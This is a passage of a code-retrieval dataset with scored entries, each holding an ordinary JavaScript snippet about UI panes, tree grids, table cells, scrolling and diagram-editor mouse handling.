splitter state\n current = Math.min(\n maximum,\n Math.max(minimum, start + delta)\n );\n\n\t //console.log(current + \"; minimum: \" + minimum + \"; max: \" + maximum);\n }\n };\n }", "title": "" }, { "docid": "d6a47f4912e41bda07587502f2e5250e", "score": "0.51796645", "text": "function WORKAREA$static_(){ToolbarSkin.WORKAREA=( new ToolbarSkin(\"workarea\"));}", "title": "" }, { "docid": "bf7d610e4003da94e80ee68c080ce291", "score": "0.51526976", "text": "get owner() {\n return this._owner || this.subGrid;\n }", "title": "" }, { "docid": "1f1a46817bd875684483e57f946c29dd", "score": "0.5144496", "text": "function TreeGrid_UpdateContent_Cells(theObject)\n{\n\t//retrieve treegrid modifier\n\tvar modifier = Get_Number(theObject.Properties[__NEMESIS_PROPERTY_VIMAGO_MODIFIER], 0);\n\t//initialise the content items\n\ttheObject.Content.Cells =\n\t{\n\t\tRows: [],\n\t\tWidth: 0,\n\t\tHeight: 0,\n\t\tAverageHeight: Math.max(0, Get_Number(theObject.Properties[__NEMESIS_PROPERTY_YSCROLLSTEP], 0) + modifier)\n\t};\n\t//check the rowheight\n\tif (theObject.Content.Cells.AverageHeight <= 1 && theObject.Content.Headers.Height > 1)\n\t{\n\t\t//use the header height\n\t\ttheObject.Content.Cells.AverageHeight = theObject.Content.Headers.Height;\n\t}\n\t//get column template\n\tvar strColumnTemplate = theObject.Properties[__NEMESIS_PROPERTY_COLUMNS_TEMPLATE];\n\t//get content\n\tvar strColumnContent = Get_String(theObject.Properties[__NEMESIS_PROPERTY_CONTENT], null);\n\n\t//valid data?\n\tif (!String_IsNullOrWhiteSpace(strColumnTemplate) && strColumnContent !== null)\n\t{\n\t\t//var helpers\n\t\tvar iContent, cContent, iColumn, cColumn, iRow, cRow, newRow, rows, nTop;\n\n\t\t//get our special properties\n\t\tvar strFont = theObject.Properties[__NEMESIS_PROPERTY_FONT];\n\t\tvar nLook = theObject.InterfaceLook;\n\t\tvar strBKColorSelected = theObject.Properties[__NEMESIS_PROPERTY_BK_COLOR_SELECTED];\n\t\tvar strBKColorFocused = theObject.Properties[__NEMESIS_PROPERTY_BK_COLOR_FOCUSED];\n\t\tvar strColorSelected = theObject.Properties[__NEMESIS_PROPERTY_FG_COLOR_SELECTED];\n\t\tvar strColorFocused = theObject.Properties[__NEMESIS_PROPERTY_FG_COLOR_FOCUSED];\n\t\tvar strOnFocusOnly = theObject.Properties[__NEMESIS_PROPERTY_ON_FOCUS_ONLY];\n\t\tvar strArrowSelection = theObject.Properties[__NEMESIS_PROPERTY_ARROW_SELECTION];\n\t\tvar strMultiLine = Get_String(theObject.Properties[__NEMESIS_PROPERTY_MULTILINE], \"No\");\n\t\tvar strEndEllepsis = Get_String(theObject.Properties[__NEMESIS_PROPERTY_ENDELLIPSIS], \"Yes\");\n\t\tvar aColorBG = String_IsNullOrWhiteSpace(theObject.Properties[__NEMESIS_PROPERTY_ALT_ROW_BKCOLORS]) ? [\"\"] : theObject.Properties[__NEMESIS_PROPERTY_ALT_ROW_BKCOLORS].split(__TREEGRID_SEPARATOR);\n\t\tvar mapCellSelectsRow = {};\n\t\t//decode the cell selects row property\n\t\tvar strCellSelects = theObject.Properties[__NEMESIS_PROPERTY_CELL_SELECTS_ROW];\n\t\t//valid?\n\t\tif (!String_IsNullOrWhiteSpace(strCellSelects))\n\t\t{\n\t\t\t//split it and loop through it\n\t\t\tfor (var i = 0, aCellSelects = strCellSelects.split(__TREEGRID_SEPARATOR), c = aCellSelects.length; i < c; i++)\n\t\t\t{\n\t\t\t\t//split this\n\t\t\t\tvar aSelection = aCellSelects[i].split(\",\");\n\t\t\t\t//this is valid?\n\t\t\t\tif (Get_Bool(aSelection[0], false))\n\t\t\t\t{\n\t\t\t\t\t//map it\n\t\t\t\t\tmapCellSelectsRow[Get_Number(aSelection[2], \"\")] = Get_Color(aSelection[1], \"\");\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t//get ownerdrawn images\n\t\tvar strOwnerDrawnImages = theObject.Properties[__NEMESIS_PROPERTY_OWNERDRAW_IMAGES];\n\t\t//has valid owner drawn images?\n\t\tif (!String_IsNullOrWhiteSpace(strOwnerDrawnImages) && strOwnerDrawnImages != __NEMESIS_DEFAULT_TREEGRID_OWNERDRAWN_IMAGES)\n\t\t{\n\t\t\t//arrow selection needs to be active\n\t\t\tstrArrowSelection = \"Yes\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\t//force its default\n\t\t\ttheObject.Properties[__NEMESIS_PROPERTY_OWNERDRAW_IMAGES] = __NEMESIS_DEFAULT_TREEGRID_OWNERDRAWN_IMAGES;\n\t\t}\n\t\t///\n\t\t//start by processing the column templates\n\t\t///\n\t\t//split the template into columns\n\t\tvar aColumnTemplate = strColumnTemplate.split(__TREEGRID_SEPARATOR);\n\t\t//create a column array\n\t\tvar aColumn = [];\n\t\t//loop through the columns\n\t\tfor (var iCol = 0, cCol = aColumnTemplate.length; iCol < cCol; iCol++)\n\t\t{\n\t\t\t//retrieve column properties\n\t\t\tvar properties = aColumnTemplate[iCol].split(\",\");\n\t\t\t//need 3!\n\t\t\tif (properties.length == 3)\n\t\t\t{\n\t\t\t\t//split the first item\n\t\t\t\tvar classAndProperty = properties[0].split(\".\");\n\t\t\t\t//calculate right\n\t\t\t\tvar nRight = Get_Number(properties[1]) + Get_Number(properties[2]);\n\t\t\t\t//create the column object\n\t\t\t\taColumn[aColumn.length] =\n\t\t\t\t{\n\t\t\t\t\tClass: Get_Class(classAndProperty[0]),\n\t\t\t\t\tProperty: Get_Number(classAndProperty[1]),\n\t\t\t\t\tLeft: Get_Number(properties[1]),\n\t\t\t\t\tWidth: Get_Number(properties[2]),\n\t\t\t\t\tRight: nRight\n\t\t\t\t};\n\t\t\t}\n\t\t}\n\t\t//get the fixed column\n\t\tvar nFixedColumn = Get_Number(theObject.Properties[__NEMESIS_PROPERTY_FIXED_COLUMNS], -1);\n\t\t//valid?\n\t\tif (nFixedColumn > -1 && nFixedColumn < aColumn.length - 1)\n\t\t{\n\t\t\t//set the fixed point\n\t\t\ttheObject.Content.FixedPoint = aColumn[nFixedColumn].Right;\n\t\t}\n\t\t///\n\t\t//Now calculate the row count and process each row\n\t\t///\n\t\t//get the imagelist, if any\n\t\tvar imageList = __IMAGELISTS.GetImageList(theObject.Properties);\n\t\t//split the content into its cell\n\t\tvar aContent = strColumnContent.split(__TREEGRID_SEPARATOR);\n\t\t//loop through the content\n\t\tfor (iContent = 0, cContent = aContent.length, iColumn = 0, cColumn = aColumn.length, iRow = 0, cRow = Math.floor(cContent / cColumn), newRow = null; iContent < cContent && iRow < cRow; iContent++)\n\t\t{\n\t\t\t//first column?\n\t\t\tif (iColumn == 0)\n\t\t\t{\n\t\t\t\t//Create a new Row\n\t\t\t\tnewRow =\n\t\t\t\t{\n\t\t\t\t\tInterpreterObject: theObject,\n\t\t\t\t\tObjects: [],\n\t\t\t\t\tIndex: iRow,\n\t\t\t\t\tSelected: false,\n\t\t\t\t\tHasCellSelection: false,\n\t\t\t\t\tHeight: 0,\n\t\t\t\t\tTop: 0,\n\t\t\t\t\tBottom: 0,\n\t\t\t\t\tPaint: TreeGrid_Paint_Row_Paint,\n\t\t\t\t\tHide: TreeGrid_Paint_Row_Hide,\n\t\t\t\t\tSetSapStyle: TreeGrid_Paint_Row_SetSapStyle\n\t\t\t\t};\n\t\t\t\t//store the row\n\t\t\t\ttheObject.Content.Cells.Rows[iRow] = newRow;\n\t\t\t}\n\n\t\t\t//retrieve column properties\n\t\t\tvar columnTpl = aColumn[iColumn];\n\t\t\t//create a data object\n\t\t\tvar dataObject = { Id: \"TreeGridCell_\" + iRow + \"_\" + iColumn, Class: columnTpl.Class, Properties: {} };\n\t\t\t//create new Object\n\t\t\tvar newObject = new IntObject_IntObject(dataObject, null);\n\t\t\t//set its values\n\t\t\tnewObject.TreeGridCell = true;\n\t\t\tnewObject.TreeGridHeader = false;\n\t\t\tnewObject.TreeGridObject = theObject;\n\t\t\tnewObject.Column = iColumn;\n\t\t\tnewObject.Row = iRow;\n\t\t\tnewObject.Selected = false;\n\t\t\tnewObject.ColumnSelected = false;\n\t\t\tnewObject.Parent = { HTMLParent: null, InterfaceLook: nLook, AppendChild: IntObject_AppendChild };\n\t\t\tnewObject.SelectionActionsOnly = mapCellSelectsRow[iColumn];\n\t\t\tnewObject.InterfaceLook = nLook;\n\t\t\tnewObject.ImageList = imageList;\n\t\t\tnewObject.Properties[__NEMESIS_PROPERTY_LEFT] = columnTpl.Left;\n\t\t\tnewObject.Properties[__NEMESIS_PROPERTY_TOP] = 0;\n\t\t\tnewObject.Properties[__NEMESIS_PROPERTY_WIDTH] = columnTpl.Width;\n\t\t\tnewObject.Properties[__NEMESIS_PROPERTY_HEIGHT] = theObject.Content.Cells.AverageHeight;\n\t\t\tnewObject.Properties[__NEMESIS_PROPERTY_FONT] = strFont;\n\t\t\tnewObject.Properties[__NEMESIS_PROPERTY_VALIGN] = \"Center\";\n\t\t\tnewObject.Properties[__NEMESIS_PROPERTY_BK_COLOR_DEFAULT] = Get_Color(aColorBG[iRow % aColorBG.length], \"\", nLook);\n\t\t\tnewObject.Properties[__NEMESIS_PROPERTY_BK_COLOR_SELECTED] = strBKColorSelected;\n\t\t\tnewObject.Properties[__NEMESIS_PROPERTY_BK_COLOR_FOCUSED] = strBKColorFocused;\n\t\t\tnewObject.Properties[__NEMESIS_PROPERTY_FG_COLOR_SELECTED] = strColorSelected;\n\t\t\tnewObject.Properties[__NEMESIS_PROPERTY_FG_COLOR_FOCUSED] = strColorFocused;\n\t\t\tnewObject.Properties[__NEMESIS_PROPERTY_ON_FOCUS_ONLY] = strOnFocusOnly;\n\t\t\tnewObject.Properties[__NEMESIS_PROPERTY_MULTILINE] = strMultiLine;\n\t\t\tnewObject.Properties[__NEMESIS_PROPERTY_ENDELLIPSIS] = strEndEllepsis;\n\t\t\tnewObject.Properties[__NEMESIS_PROPERTY_PADDING] = \"2,1,2,1\";\n\t\t\tnewObject.Properties[columnTpl.Property] = aContent[iContent];\n\t\t\t//store the item\n\t\t\tnewRow.Objects[iColumn] = newObject;\n\n\t\t\t//increment the column\n\t\t\tiColumn++;\n\t\t\t//reached max?\n\t\t\tif (iColumn >= cColumn)\n\t\t\t{\n\t\t\t\t//reset column\n\t\t\t\tiColumn = 0;\n\t\t\t\t//increment line\n\t\t\t\tiRow++;\n\t\t\t}\n\t\t}\n\t\t//update the extra items\n\t\tTreeGrid_UpdateContent_Extra(theObject, theObject.Properties[__NEMESIS_PROPERTY_EXTRACONTENT]);\n\t\tTreeGrid_UpdateContent_Extra(theObject, theObject.Properties[__NEMESIS_PROPERTY_CELL_BORDER]);\n\t\tTreeGrid_UpdateContent_Extra(theObject, theObject.Properties[__NEMESIS_PROPERTY_ALIGN]);\n\t\tTreeGrid_UpdateContent_Extra(theObject, theObject.Properties[__NEMESIS_PROPERTY_VALIGN]);\n\t\tTreeGrid_UpdateContent_Extra(theObject, theObject.Properties[__NEMESIS_PROPERTY_MATCH_CODE_IMAGE]);\n\t\t//final checks, loop through all the rows\n\t\tfor (rows = theObject.Content.Cells.Rows, iRow = 0, cRow = rows.length, nTop = 0; iRow < cRow; iRow++)\n\t\t{\n\t\t\t//get the row\n\t\t\tvar row = theObject.Content.Cells.Rows[iRow];\n\t\t\t//get objects\n\t\t\tvar objects = row.Objects;\n\t\t\t//count columns\n\t\t\tvar cObjects = objects.length;\n\t\t\t//valid?\n\t\t\tif (cObjects > 0)\n\t\t\t{\n\t\t\t\t//get cell 0\n\t\t\t\tvar cell = objects[0];\n\t\t\t\t//check first cell: no valid arrow?\n\t\t\t\tif (String_IsNullOrWhiteSpace(cell.Properties[__NEMESIS_PROPERTY_ARROW_SELECTION]))\n\t\t\t\t{\n\t\t\t\t\t//copy the arrow selection\n\t\t\t\t\tcell.Properties[__NEMESIS_PROPERTY_ARROW_SELECTION] = strArrowSelection;\n\t\t\t\t}\n\t\t\t\t//loop through all objects\n\t\t\t\tfor (var iObject = 0; iObject < cObjects; iObject++)\n\t\t\t\t{\n\t\t\t\t\t//get the cell\n\t\t\t\t\tcell = objects[iObject];\n\t\t\t\t\t//correct the row height\n\t\t\t\t\trow.Height = Math.max(row.Height, Get_Number(cell.Properties[__NEMESIS_PROPERTY_HEIGHT], 0) + Get_Number(cell.Properties[__NEMESIS_PROPERTY_TOP], 0));\n\t\t\t\t\t//get background selected\n\t\t\t\t\tvar cellBKSelected = Get_String(cell.Properties[__NEMESIS_PROPERTY_BK_COLOR_SELECTED], null);\n\t\t\t\t\t//not valid?\n\t\t\t\t\tif (cellBKSelected == null)\n\t\t\t\t\t{\n\t\t\t\t\t\t//use its default colour\n\t\t\t\t\t\tcell.Properties[__NEMESIS_PROPERTY_BK_COLOR_SELECTED] = Get_String(cell.Properties[__NEMESIS_PROPERTY_BK_COLOR_DEFAULT], \"transparent\");\n\t\t\t\t\t}\n\t\t\t\t\t//get foreground selected\n\t\t\t\t\tvar cellFGSelected = Get_String(cell.Properties[__NEMESIS_PROPERTY_FG_COLOR_SELECTED], null);\n\t\t\t\t\t//no selected colour?\n\t\t\t\t\tif (cellFGSelected == null)\n\t\t\t\t\t{\n\t\t\t\t\t\t//use its default colour\n\t\t\t\t\t\tcell.Properties[__NEMESIS_PROPERTY_FG_COLOR_SELECTED] = Get_String(cell.Properties[__NEMESIS_PROPERTY_FG_COLOR_DEFAULT], \"black\");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t//get last object\n\t\t\t\tcell = objects[cObjects - 1];\n\t\t\t\t//correct max width\n\t\t\t\ttheObject.Content.Cells.Width = Math.max(theObject.Content.Cells.Width, Get_Number(cell.Properties[__NEMESIS_PROPERTY_LEFT], 0) + Get_Number(cell.Properties[__NEMESIS_PROPERTY_WIDTH], 0));\n\t\t\t\t//update height\n\t\t\t\ttheObject.Content.Cells.Height += row.Height;\n\t\t\t\t//set row top\n\t\t\t\trow.Top = nTop;\n\t\t\t\t//update top\n\t\t\t\tnTop += row.Height;\n\t\t\t\t//set row bottom\n\t\t\t\trow.Bottom = nTop;\n\t\t\t}\n\t\t}\n\t\t//if we have headers\n\t\tif (theObject.Content.Headers)\n\t\t{\n\t\t\t//ensure we can fit the floating headers\n\t\t\ttheObject.Content.Cells.Height = Math.max(theObject.Content.Headers.FloatingHeaderBottom, theObject.Content.Cells.Height);\n\t\t}\n\t}\n}", "title": "" }, { "docid": "381c20c64ca3dc2898b4ec8be2b621dc", "score": "0.51373804", "text": "function section1LeftTop( placeholder )\n {\n var ph = placeholder || {};\n\n ph.stack = fmethods.initTopPaneCell( \"Summary\" );\n ph.stack[1] = {\n image: imagesRack.loadedImages[ 'summary-table00' ].dataURI\n //fit: [444.0, 333.0],\n ,width: 400\n ,margin: [10,10,20,0]\n };\n ///just a filler ... poor design\n ph.stack[2] = {\n text: \" \"\n ,margin: [0,0,0, 0]\n\n };\n\n ///table00-contents\n var JSONrecord = nheap.content_data\n [ \"Page 1\" ]\n [ \"OverallPortfolio.txt\" ]\n [ \"OverAllPortfolio\" ]\n [ 0 ];\n /*\n :[\n {\n \"CURRENT_VALUE\":1124.081205,\n \"INVESTED_AMOUNT\":1013.564488,\n \"GAINLOSS\":112.48128,\n \"UNREALISEDGAINLOSS\":110.516716,\n \"REALISEDGAINLOSS\":3.7530829183,\n \"DIVIDEND\":-1.788519752,\n \"IRR\":148.7088080024194,\n \"BMIRR\":-84.87343195817056\n }\n */\n var num2commasStr = methods.putCommasToBigNumbers;\n\n [ \"INVESTED_AMOUNT\", \"CURRENT_VALUE\", \"GAINLOSS\", \"IRR\", \"BMIRR\" ].forEach( ( fieldName, ix ) => {\n var guiRow = Math.floor( ix/3 );\n var cell = ph.stack[3+ix] = {\n text: methods.putCommasToBigNumbers( JSONrecord[ fieldName ], 2 ) +\n ( guiRow ? '%' : '' )\n ,fontSize: 20\n ,bold: true\n //,margin: [0,10,0, 0]\n ,absolutePosition: {\n x: 45 + (ix%3)*142 + (ix===2 ? -4 : 0),\n y: 80 + Math.floor( ix/3 )*73\n }\n };\n if( \"GAINLOSS\" === fieldName ) {\n cell.color = fmethods.gainLossColor( JSONrecord[ fieldName ] );\n }\n });\n\n var fValue = JSONrecord[ \"REALISEDGAINLOSS\" ];\n ph.stack[8] =\n {\n text: methods.putCommasToBigNumbers( fValue, 2 )\n ,fontSize: 7\n ,color: fmethods.gainLossColor( fValue, null, '#888' )\n ,bold: false\n ,absolutePosition: {\n x: 45 + 325,\n y: 80 + 62\n }\n };\n\n\n var fValue = JSONrecord[ \"UNREALISEDGAINLOSS\" ];\n ph.stack[9] =\n {\n text: methods.putCommasToBigNumbers( fValue, 2 )\n ,fontSize: 7\n ,color: '#888'\n ,bold: false\n ,absolutePosition: {\n x: 45 + 333,\n y: 80 + 74\n }\n };\n\n var fValue = JSONrecord[ \"DIVIDEND\" ];\n ph.stack[10] =\n {\n text: methods.putCommasToBigNumbers( fValue, 2 )\n ,fontSize: 7\n ,color: fmethods.gainLossColor( fValue, null, '#888' )\n ,bold: false\n ,absolutePosition: {\n x: 45 + 319,\n y: 80 + 85\n }\n };\n return ph;\n }", "title": "" }, { "docid": "d896493db245256e769b6972c0b90f9c", "score": "0.51367366", "text": "function toggle_results_pane( anchor ) {\n\t\t// Toggle the child groups pane and open indicator.\n\t\tanchor.siblings( \".child-groups\" ).toggleClass( \"open\" );\n\t\tanchor.toggleClass( \"open\" );\n\n\t\t// Update the aria-expanded attribute on the related control.\n\t\tanchor.attr( \"aria-expanded\", anchor.siblings( \".child-groups\" ).hasClass( \"open\" ) );\n\t}", "title": "" }, { "docid": "02d6fd819876b128a53174caa7f20e8c", "score": "0.5127188", "text": "function setInfoPaneHeight() {\n var tabBarHeight = $(\".tabBar\").outerHeight(true);\n var regimenTitleBarHeight = $(\".regimenTitleBar\").outerHeight(true);\n var pageTitleRowHeight = 0;\n var $comparePage = $(\".comparePage\");\n var $resizeTarget = -1;\n if ($comparePage.css(\"display\") != \"none\") {\n pageTitleRowHeight = $comparePage.children(\".comparePageTitles\").outerHeight(true);\n } else {\n $.each($(\".page\"), function () {\n var $page = $(this);\n if ($page.css(\"display\") != \"none\") {\n pageTitleRowHeight = $page.children(\".pageTitles\").outerHeight(true);\n }\n });\n }\n\n var height = (currentWindowHeight - tabBarHeight - regimenTitleBarHeight - pageTitleRowHeight) + \"px\";\n $comparePage.children(\".compareRows\").css(\"height\", height);\n $(\".pageRowScrollContainer\").css(\"height\", height);\n\n adjustPagesForScrollBar();\n }", "title": "" }, { "docid": "692a2d0190bee79615ad1189fb0814c5", "score": "0.51200145", "text": "function MasterView() {\n\t//create object instance, parasitic subclass of Observable\n\tvar self = Ti.UI.createScrollView({\n\t\tbackgroundColor:'#ddd',\n\t\tcontentHeight: 'auto',\n\t\tcontentWidth: 'auto',\n\t\tlayout:'vertical',\n\t\t\n\t\tshowVerticalScrollIndicator:true,\n\t\tshowHorizontalScrollIndicator:true,\n\t});\n\n\t//Create view panels\n\tcreateAttackerPanel(self);\n\tcreateDefenderPanel(self);\n\tcreateOptionsPanel(self);\n\t\n\t//Create submit button\n\tvar submit = Ti.UI.createButton({\n\t\ttitle: 'Calculate!',\n\t\theight: '40dp',\n\t\twidth: '100dp',\n\t\ttop:'10dp'\n\t});\n\tsubmit.addEventListener('click', function() {\n\t\tself.fireEvent('formSubmit', {\n\t\t\tatk: atk_box.value,\n\t\t\tdef: def_box.value,\n\t\t\toptions: collectOptions(self) \n\t\t});\n\t});\n\t\n\tself.add(submit);\n\t\n\treturn self;\n}", "title": "" }, { "docid": "392fb699ae88c6b17b2277d8244e8554", "score": "0.5117375", "text": "updateClientAreaForCell(cell, beforeLayout) {\n // tslint:disable-next-line:max-line-length\n let rowWidget = cell.ownerRow;\n let cellWidget = cell;\n if (beforeLayout) {\n this.clientActiveArea.x = this.clientArea.x = cellWidget.x;\n this.clientActiveArea.y = cellWidget.y;\n this.clientActiveArea.width = this.clientArea.width = cellWidget.width > 0 ? cellWidget.width : 0;\n if (this instanceof PageLayoutViewer) {\n this.clientActiveArea.height = Number.POSITIVE_INFINITY;\n }\n this.clientArea = new Rect(this.clientArea.x, this.clientArea.y, this.clientArea.width, this.clientArea.height);\n // tslint:disable-next-line:max-line-length\n this.clientActiveArea = new Rect(this.clientActiveArea.x, this.clientActiveArea.y, this.clientActiveArea.width, this.clientActiveArea.height);\n }\n else {\n this.clientActiveArea.x = this.clientArea.x = cellWidget.x + cellWidget.width + cellWidget.margin.right;\n if (rowWidget.x + rowWidget.width - this.clientArea.x < 0) {\n this.clientActiveArea.width = this.clientArea.width = 0;\n }\n else {\n this.clientActiveArea.width = this.clientArea.width = rowWidget.x + rowWidget.width - this.clientArea.x;\n }\n // tslint:disable-next-line:max-line-length\n this.clientActiveArea.y = cellWidget.y - cellWidget.margin.top - HelperMethods.convertPointToPixel(cell.ownerTable.tableFormat.cellSpacing);\n if (!cell.ownerTable.isInsideTable) {\n this.clientActiveArea.height = this.clientArea.bottom - rowWidget.y > 0 ? this.clientArea.bottom - rowWidget.y : 0;\n }\n this.clientArea = new Rect(this.clientArea.x, this.clientArea.y, this.clientArea.width, this.clientArea.height);\n // tslint:disable-next-line:max-line-length\n this.clientActiveArea = new Rect(this.clientActiveArea.x, this.clientActiveArea.y, this.clientActiveArea.width, this.clientActiveArea.height);\n }\n }", "title": "" }, { "docid": "72355f891c70ca04f735751e2bae4cfa", "score": "0.51113856", "text": "getToolpaneCoords(sel){\n let range = sel.getRangeAt(0).cloneRange();\n let coords = range.getClientRects()[0];\n let offset = $(this.iframe).offset();\n\n if(coords) {\n return {\n top: offset.top + coords.top - this.$toolpane.height() - 8,\n left: offset.left + coords.left - this.$toolpane.width() / 2\n };\n }\n\n return null;\n }", "title": "" }, { "docid": "ab4d404e5bee3994f5ba7936369e5722", "score": "0.5111303", "text": "jump() {\n const env = this;\n const container = this['$container']['$node'];\n container.parentNode.addEventListener( 'scroll', function( e ) {\n env['$content'].scrollTop = container.parentNode.scrollTop;\n env['$content'].scrollLeft = container.parentNode.scrollLeft;\n env.setPage();\n });\n }", "title": "" }, { "docid": "71c134a4aba854394de17e63b7079da2", "score": "0.5110623", "text": "_updateActiveMessagePane() {\n // If we're summarizing, might as well clear the message display so that\n // when we return to it, we don't display prev selected message. If we're\n // *not* summarizing, clear the summary display so that the summary can\n // clean itself up.\n if (!this.singleMessageDisplay) {\n this.clearDisplay();\n } else {\n gSummaryFrameManager.clear();\n }\n\n // _singleMessageDisplay can be null, so use the property (getter)\n document.getElementById(\"singleMessage\").hidden = !this\n .singleMessageDisplay;\n document.getElementById(\"multimessage\").hidden = this.singleMessageDisplay;\n\n let messagePaneName = this.singleMessageDisplay\n ? \"messagepane\"\n : \"multimessage\";\n\n let findToolbar = document.getElementById(\"FindToolbar\");\n findToolbar.browser = document.getElementById(messagePaneName);\n\n // If the message pane is currently focused, make sure we have the\n // currently-visible content window (single- or multi-message) focused.\n if (\n this.folderDisplay.focusedPane ==\n document.getElementById(\"messagepanebox\")\n ) {\n document.getElementById(messagePaneName).focus();\n }\n }", "title": "" }, { "docid": "1be34847cb3d4a505ab4f4e05182a7d6", "score": "0.51093155", "text": "initialise(ui) {\n this.element.classList.add(\"cell\");\n\n const content_element = this.content_element;\n\n /// For cells with a separate `content_element`, we allow the cell to be moved\n /// by dragging its `element` (under the assumption it doesn't totally overlap\n /// its `content_element`).\n if (this.element !== content_element) {\n this.element.addEventListener(\"mousedown\", (event) => {\n if (event.button === 0) {\n if (ui.in_mode(UIState.Default)) {\n event.stopPropagation();\n // If the cell we're dragging is part of the existing selection,\n // then we'll move every cell that is selected. However, if it's\n // not already part of the selection, we'll just drag this cell\n // and ignore the selection.\n const move = new Set(ui.selection.has(this) ? [...ui.selection] : [this]);\n ui.switch_mode(\n new UIState.Move(\n ui,\n ui.position_from_event(event),\n move,\n ),\n );\n }\n }\n });\n }\n\n // We record whether a cell was already selected when we click on it, because\n // we only want to trigger a label input focus if we click on a cell that is\n // already selected. Clicking on an unselected cell should not focus the input,\n // or we wouldn't be able to immediately delete a cell with Backspace/Delete,\n // as the input field would capture it.\n let was_previously_selected = true;\n content_element.addEventListener(\"mousedown\", (event) => {\n if (event.button === 0) {\n if (ui.in_mode(UIState.Default)) {\n event.stopPropagation();\n event.preventDefault();\n\n was_previously_selected = !event.shiftKey && !event.metaKey && !event.ctrlKey\n && ui.selection.has(this) &&\n // If the label input is already focused, then we defocus it.\n // This allows the user to easily switch between editing the\n // entire cell and the label.\n !ui.input_is_active();\n\n if (!event.shiftKey && !event.metaKey && !event.ctrlKey) {\n // Deselect all other nodes.\n ui.deselect();\n ui.select(this);\n } else {\n // Toggle selection when holding Shift/Command/Control and clicking.\n if (!ui.selection.has(this)) {\n ui.select(this);\n } else {\n ui.deselect(this);\n }\n }\n\n // We won't start a new connection immediately, because that will hide\n // the toolbar prematurely. Instead, we'll add a `.pending` class, which\n // will then convert to a connection if the mouse leaves the element\n // while remaining held.\n this.element.classList.add(\"pending\");\n }\n }\n });\n\n content_element.addEventListener(\"mouseenter\", () => {\n if (ui.in_mode(UIState.Connect)) {\n if (ui.state.source !== this) {\n if (ui.state.valid_connection(this)) {\n ui.state.target = this;\n this.element.classList.add(\"target\");\n // Hide the insertion point (e.g. if we're connecting a vertex to an edge).\n const insertion_point = ui.canvas.query_selector(\".insertion-point\");\n insertion_point.classList.remove(\"revealed\", \"pending\", \"active\");\n }\n }\n }\n });\n\n content_element.addEventListener(\"mouseleave\", () => {\n if (this.element.classList.contains(\"pending\")) {\n this.element.classList.remove(\"pending\");\n\n // Start connecting the node.\n const state = new UIState.Connect(ui, this, false);\n if (state.valid_connection(null)) {\n ui.switch_mode(state);\n this.element.classList.add(\"source\");\n }\n }\n\n if (ui.in_mode(UIState.Connect)) {\n if (ui.state.target === this) {\n ui.state.target = null;\n }\n // We may not have the \"target\" class, but we may attempt to remove it\n // regardless. We might still have the \"target\" class even if this cell\n // is not the target, if we've immediately transitioned from targeting\n // one cell to targeting another.\n this.element.classList.remove(\"target\");\n }\n });\n\n content_element.addEventListener(\"mouseup\", (event) => {\n if (event.button === 0) {\n // If we release the pointer without ever dragging, then\n // we never begin connecting the cell.\n this.element.classList.remove(\"pending\");\n\n if (ui.in_mode(UIState.Default)) {\n // Focus the label input for a cell if we've just ended releasing\n // the mouse on top of the source.\n if (was_previously_selected) {\n ui.panel.element.querySelector('label input[type=\"text\"]').focus();\n }\n }\n\n if (ui.in_mode(UIState.Connect)) {\n event.stopImmediatePropagation();\n // Connect two cells if the source is different to the target.\n if (ui.state.target === this) {\n const actions = [];\n const cells = new Set();\n\n if (ui.state.forged_vertex) {\n cells.add(ui.state.source);\n }\n\n if (ui.state.reconnect === null) {\n // Create a new edge if we're not simply reconnecting an existing one.\n const edge = ui.state.connect(ui, event);\n cells.add(edge);\n } else {\n // Otherwise, reconnect the existing edge.\n const { edge, end } = ui.state.reconnect;\n actions.push({\n kind: \"connect\",\n edge,\n end,\n from: edge[end],\n to: ui.state.target,\n });\n ui.state.connect(ui, event);\n }\n\n // If we haven't created any cells, then we don't need to\n // record it in the history.\n if (cells.size > 0) {\n // We want to make sure `create` comes before `connect`, as\n // order for history events is important, so we `unshift`\n // here instead of `push`ing.\n actions.unshift({\n kind: \"create\",\n cells,\n });\n }\n\n // We might not have made a meaningful action (e.g. if we're tried\n // connecting an edge to a node it's already connected to).\n if (actions.length > 0) {\n ui.history.add(ui, actions, false, ui.selection_excluding(cells));\n }\n }\n\n ui.switch_mode(UIState.default);\n }\n }\n });\n\n // Add the cell to the UI canvas.\n ui.add_cell(this);\n }", "title": "" }, { "docid": "eeabf257a3a71d2c137d711111fca3c2", "score": "0.5108201", "text": "paneOf(presentation) {\n return _.find(this.presentations, each => presentation.hasGivenOwner(each));\n }", "title": "" }, { "docid": "7779c5072ed8eb0d26863be58aa10b49", "score": "0.50892085", "text": "splitSpannedCellWidget(cellWidget, tableCollection, rowCollection, viewer) {\n let splittedCell = this.getSplittedWidget(viewer.clientArea.bottom, false, tableCollection, rowCollection, cellWidget);\n if (!isNullOrUndefined(splittedCell)) {\n //Adds the splitted contents of a vertical merged cell, in order preserve in next page.\n viewer.splittedCellWidgets.push(splittedCell);\n }\n }", "title": "" }, { "docid": "6d6e9838ffa86b0e266fe6deb110db3e", "score": "0.50870204", "text": "function setPaneDimensions() {\n pane_width = element.width();\n \n // incase carousel slides have been updated, re-index them\n panes = $(\"ul>li\", element);\n pane_count = panes.length;\n\n panes.each(function() {\n $(this).width(pane_width);\n });\n container.width(pane_width*pane_count);\n }", "title": "" }, { "docid": "4c46ff417cc490383c81ec27747baf60", "score": "0.50862795", "text": "onAdd() {\n this.createPopupHtml();\n this.getPanes().floatPane.appendChild(this.containerDiv);\n }", "title": "" }, { "docid": "867355eb96e1d96f84644e53a9e46140", "score": "0.50696707", "text": "[types['OPEN_PANE']](state, pane) {\n\t\t\n\t\tif (state[pane + 'Open']) return;\n\t\t\n\t\tconst otherPane = (pane === 'left') ? 'right' : 'left';\n\t\t\n\t\t// if other pane open, use saved widths\n\t\tif (state[otherPane + 'Open']) {\n\t\t\tstate[pane + 'Width'] = state[pane + 'WidthLast'];\n\t\t\tstate[otherPane + 'Width'] = state[otherPane + 'WidthLast'];\n\t\t} else {\n\t\t\tstate[pane + 'Width'] = 1;\n\t\t}\n\t\tstate[pane + 'Open'] = true;\n\t}", "title": "" }, { "docid": "dc4cbe2c7c5ed4d2d64a875dadfbf95f", "score": "0.5065708", "text": "function ZoomableView() { }", "title": "" }, { "docid": "af0c6e241f65c2a3227aa338a3928ce7", "score": "0.50586265", "text": "function Mn(e,a){var n=e.display,r=e.doc;if(a.editorIsHidden)return 